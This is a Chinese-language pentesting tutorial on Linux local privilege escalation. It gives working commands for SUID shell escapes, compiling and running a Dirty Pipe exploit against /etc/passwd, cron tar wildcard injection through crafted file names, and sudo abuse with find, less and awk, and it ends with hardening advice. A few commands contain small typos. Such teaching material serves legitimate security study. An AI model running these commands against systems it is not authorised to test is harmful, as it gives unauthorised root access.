⚡ 一句话速览:本地提权(LPE)是渗透测试中从低权限用户获取 root 的关键技术。本文从 SUID、内核漏洞、Cron、Sudo 四个维度展开实战讲解,附带完整提权命令和防御加固方案。
Linux 本地提权全流程攻防图获得低权限 Shell系统信息枚举SUID 提权内核漏洞Cron 任务Sudo 滥用服务/配置是GTFOBins是下载 Exploit是修改脚本是sudo -l是服务探测执行 SUID 溢出编译运行 Exploit等待 Cron 触发执行 sudo 命令服务漏洞利用Root?Root?Root?Root?Root?是是是是是Root Shell ✅否否否否否尝试其他提权方式提权失败 ❌
图:Linux 本地提权全流程攻防图
关键词: Linux提权工具 · 本地提权 · SUID滥用 · 内核漏洞利用 · Dirty Pipe · GTFOBins · 渗透测试实战
概述
概述
在渗透测试实战中,获得初始访问后,本地提权是关键一步。本文将深入讲解Linux系统常见的提权方法,包括SUID滥用、内核漏洞利用(如Dirty Pipe CVE-2022-0847)、Cron任务劫持以及sudo配置错误。通过本文,你将掌握使用Linux提权工具如GTFOBins和find命令进行权限提升攻击的技巧,并了解相应的防御加固建议。
SUID 提权技术
SUID (Set User ID) 允许普通用户以文件所有者的权限执行程序。滥用SUID二进制文件是经典的提权方式。
查找SUID文件
使用find命令查找系统中的SUID文件:
find / -perm -4000 -type f2>/dev/null
利用nmap
如果nmap具有SUID权限,可以启动交互式shell:
nmap --interactive
!sh
利用vim
vim带有SUID时,可以执行shell:
vim -c ':!/bin/sh'
其他常见SUID二进制如less、awk等也可类似利用。
内核漏洞提权 – Dirty Pipe CVE-2022-0847
Dirty Pipe (CVE-2022-0847) 影响Linux内核5.8至5.16版本,允许无权限用户覆盖任意只读文件。
环境检查
uname -r
若版本在范围内,则可能存在漏洞。
利用步骤
- 下载利用脚本(如
dirtypipe.c)。 - 编译并执行:
gcc -o dirtypipe dirtypipe.c -lpthread
./dirtypipe /etc/passwd
该脚本会覆盖/etc/passwd,移除root密码,随后可通过su root提权。
注意:内核漏洞利用可能造成系统不稳定,需谨慎。
Cron 任务劫持
Cron任务若配置不当,可被用于提权。
通配符注入
如果Cron脚本使用通配符(如tar *),攻击者可创建同名文件触发命令执行:
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" > test.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh test.sh"
当Cron执行tar *时,会运行恶意脚本。
可写脚本
若Cron脚本或二进制文件可被普通用户写入,可直接修改:
echo "chmod +s /bin/bash" >> /usr/local/bin/backup.sh
等待Cron执行后,/bin/bash即具有SUID。
Sudo 滥用提权
sudo配置错误允许用户以root权限执行特定命令,利用GTFOBins可查询提权方法。
查询GTFOBins
访问GTFOBins搜索命令,例如find、less、awk等。
利用find
如果sudo允许执行find:
sudo find . -exec /bin/sh \; -quit
利用less
sudo less /etc/passwd
!sh
利用awk
sudo awk 'BEGIN {system("/bin/sh")}'
防御加固建议
- 最小化SUID:移除不必要的SUID二进制,使用
chmod -s。 - 及时更新内核:修补已知漏洞如Dirty Pipe。
- 限制sudo权限:遵循最小权限原则,避免滥用。
- 保护Cron任务:避免使用通配符,脚本目录设为不可写。
- 使用安全工具:定期扫描SUID文件和审计sudo配置。
常见错误及解决
- SUID文件查找无结果:确保命令以root运行或使用
-perm -4000正确。 - 内核漏洞利用失败:检查内核版本是否匹配,编译环境是否完整。
- Cron劫持不生效:确认Cron任务路径和权限,等待足够时间。
总结
本文覆盖了Linux本地提权的核心技术,包括SUID滥用、内核漏洞利用、Cron劫持和sudo滥用。掌握这些权限提升攻击方法,有助于在渗透测试实战中提升效率。同时,理解Linux系统安全防御措施,能更好地保护系统免受攻击。